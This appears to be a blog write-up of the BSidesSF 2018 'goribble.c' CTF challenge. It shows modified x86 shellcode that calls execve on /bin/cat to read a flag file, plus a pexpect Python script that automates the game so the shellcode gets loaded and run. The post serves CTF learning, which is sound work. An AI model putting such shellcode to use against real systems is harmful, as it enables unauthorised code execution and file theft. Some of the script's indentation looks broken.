BSidesSF 2018 CTF – goribble.c

Last month was BSidesSF 2018. This was my first BSides and I’ll say I thought the con was really well done. The location was cool, the vendor area had plenty of free goodies, and the CTF was a lot of fun. There were quite a few people from Dark Corner which was awesome to see. A group of us spent a large portion of time at the conference playing the CTF and our team finished in 7th out of abobut 145 teams! This post is going to cover my solution for one of the 666 point challenges called goribble.c.

Our goal is to “exploit” this program to read the /home/ctf/flag.txt file on the ctf server. The code is meant to be compiled into a 32 bit ELF binary and even though NX is enabled the -fno-stack-protector flag is used to make the stack executable:

Upon execution it turns about to be a game where you manually enter a power and angle value and then a launch something (a potato?) and see where it lands.

The nibble you land on is a nibble of shellcode that will be stored and executed when you finally miss shot by not landing on any nibble. After every turn the layout of nibbles is randomly altered and a wind factor is applied which must be taken into consideration when firing the potato.

The first order of business was to construct a shellcode that would get the job done. I headed over to shell-storm.org knowing that they would have something for me. This one would get the job done, the only change required to change the argument to the cat command to /home/ctf/flag.txt instead of /etc/passwd.


#include <stdio.h>

const char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx

/* pushes /etc/passwd onto the stack
* we don't want/need this
*"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
*"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
*"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
*/

// pushes ///home/ctf/flag.txt onto the stack
"\x68\x2e\x74\x78\x74" // push ".txt"
"\x68\x66\x6c\x61\x67" // push "flag"
"\x68\x63\x74\x66\x2f" // push "ctf/"
"\x68\x6f\x6d\x65\x2f" // push "ome/"
"\x68\x2f\x2f\x2f\x68" // push "///h"

"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h

int main()
{
(*(void (*)()) shellcode)();

return 0;
}

I created /home/ctf/flag.txt on my local system and tested the shellcode which worked like a charm.

At first I very foolishly attempted to win by actually playing the game. I took shots repeatedly and figured out power/angle values that would get me on the nibble I wanted most of the time. At this time I was hoping the wind factor could be ignored. Once I finally had values mapped out for each value I set out to actually start building my shellcode but realized that although they got me where I wanted most of the time that wasn’t going to be good enough. This was going to have to be automated.

I was a little intimidated about having to interact with this program through screen scraping but this actually turned out to be incredibly easy thanks to a python module called pexpect. The first step in this process was to create a would scrape the nibble values into a list, this way we could know which position we needed to aim for. After I knew which position to hit it was necessary to calculate the power/angle values that would get the potato there. I decided to work smarter lazier and basically copy paste the code from the game that determines where the potato will land into a function in python. I added the code to scrape the game for the wind value, then with the wind taken into consideration I could brute force the necessary power and angle values by incrementing them until the potato landed in the right spot.

This approach worked and we were able to get the points for this challenge! Here I’ll share my full solution which is not cleaned up in any way, and even still contains the hard coded values from my initial futile attempt at solving the challenge.


import pexpect
import logging
import math
import time

logging.basicConfig(filename='fake-log.txt',level=logging.DEBUG)
logging.FileHandler('fake-log.txt', mode='w')
logging.debug('This message should go to the log file')

# power = ("100", "100", "150", "250", "230", "290", "320", "340", "340", "375", "375", "425", "395", "450", "500", "525")
# angle = ("10", "30", "20", "10", "13", "10", "10", "10", "11", "10", "12", "10", "12", "10", "8", "8")
shellcode = "31c09952682f636174682f62696e89e352682e74787468666c6167686374662f686f6d652f682f2f2f6889e1b00b52515389e1cd80"

def getNibbles(nibbles):
split = 8 # number of chars between each nibble
count = 0
nibblePositions = list()
for i in nibbles:
count += 1
#print "count: {}, nibble: {}".format(count, nibbles[count:count+1])
if count % split == 0:
nibblePositions.append(nibbles[count:count+1])
#print "nibble is: " + nibbles[count:count+1]
return nibblePositions

def rad(x):
#x = int(x)
return (x * 3.1415926 / 180)

def frange(start, end, step):
tmp = start
while(tmp < end):
yield tmp
tmp += step

def shoot(wind, power, angle):
 wind = float(wind)
 power = int(power)
 angle = int(angle)
 BOARD_WIDTH = 136
 BOARD_HEIGHT = 64
 PRIZE_COUNT = 16
 MAX_WIND = 200
 GRAVITY = (-9.8)
 SCALE = (5000 / 80)
 TIME_SCALE = (0.4) 
 PRIZE_COUNT = 16

 v0_v = math.sin(rad(angle)) * power
 v0_h = math.cos(rad(angle)) * power

 for t in frange(0, 10000, TIME_SCALE):
  #print t
  p_v = (((0.5 * t**2 * GRAVITY) + (t * v0_v)) / SCALE)
  p_h = (((0.5 * t**2 * (wind / 50)) + (t * v0_h)) / SCALE) + 4
  if p_v < 0:
   result = int((p_h / 8) - 1)
  if (result < 0 or result >= PRIZE_COUNT):
   return -1
 return result # the position that we hit

def getPowerAngle(wind, position):
 start = time.time()
 for power in range(100, 1000):
  for angle in range(10, 360):
   hit = shoot(wind, power, angle)
   if hit == position: # we found a winning combo
    end = time.time()
   print "calculated power/angle in {} seconds".format(end - start)
 return (power, angle)

#print "test is: " + child.after[2:-2]
"""U | 0 | 1 | b | 5 | 2 | 9 | f | 4 | a | 3 | d | 7 | 6 | e | c | 8 |"""
while True:
 code = "" #the code we're building

 logging.debug("(re)starting goribble")
 print "(re)starting goribble"
 child = pexpect.spawn ('./goribble')

 for i in shellcode:
  needed = i # the nibble that we need to grab
  wind = ""
  hit = "" # the nibble that we actually hit

  child.expect("Wind.*")
  wind = child.after
  logging.debug("unparsed wind is: " + wind)
  wind = float(wind[6:(wind.find('.') + 6)])
  logging.debug("wind is: " + str(wind))

  logging.debug("need nibble is: " + i)

  child.expect("YOU.*Y") # regex to get the nibbles
  logging.debug("nibbles is: " + child.after[5:-2])

  nibbles = child.after[1:-2] # the nibbles as printed out by the game
  nibbles = getNibbles(nibbles) # parsing the games nibbles into our own list
  position = nibbles.index(needed) # find the position in our list of the needed nibble
  logging.debug("needed position is: {}".format(position))

  # now that we know the wind, and needed position
  # we can proceed to bf the needed power/angle
  powerAngle = getPowerAngle(wind, position)
  power = powerAngle[0] + 2
  angle = powerAngle[1]

  child.expect("Power ")
  #child.sendline(str(int(power[position]) - (wind/10))) # send the power value that corresponds witht he nibble position
  child.sendline(str(power))
  logging.debug("power = {}".format( power))

  child.expect("Angle ")
  #child.sendline(angle[position])
  child.sendline(str(angle))
  logging.debug("angle = {}".format(angle))

  child.expect("Congratulations.*")
  #hit = child.after
  #logging.debug("After is: " + hit)
  hit = child.after[36:37] # find out the nibble we actually hit
  logging.debug("hit is: " + hit)

  if (hit != needed):
   child.close()
   break # means that our power/angle sux

  child.sendline()
  code += hit
  print "current shellcode is: {}".format(code)

# time 2 segfaulAt
"""
child.expect("Power ")
child.sendline()
child.expect("Angle ")
child.sendline()
"""
  child.interact()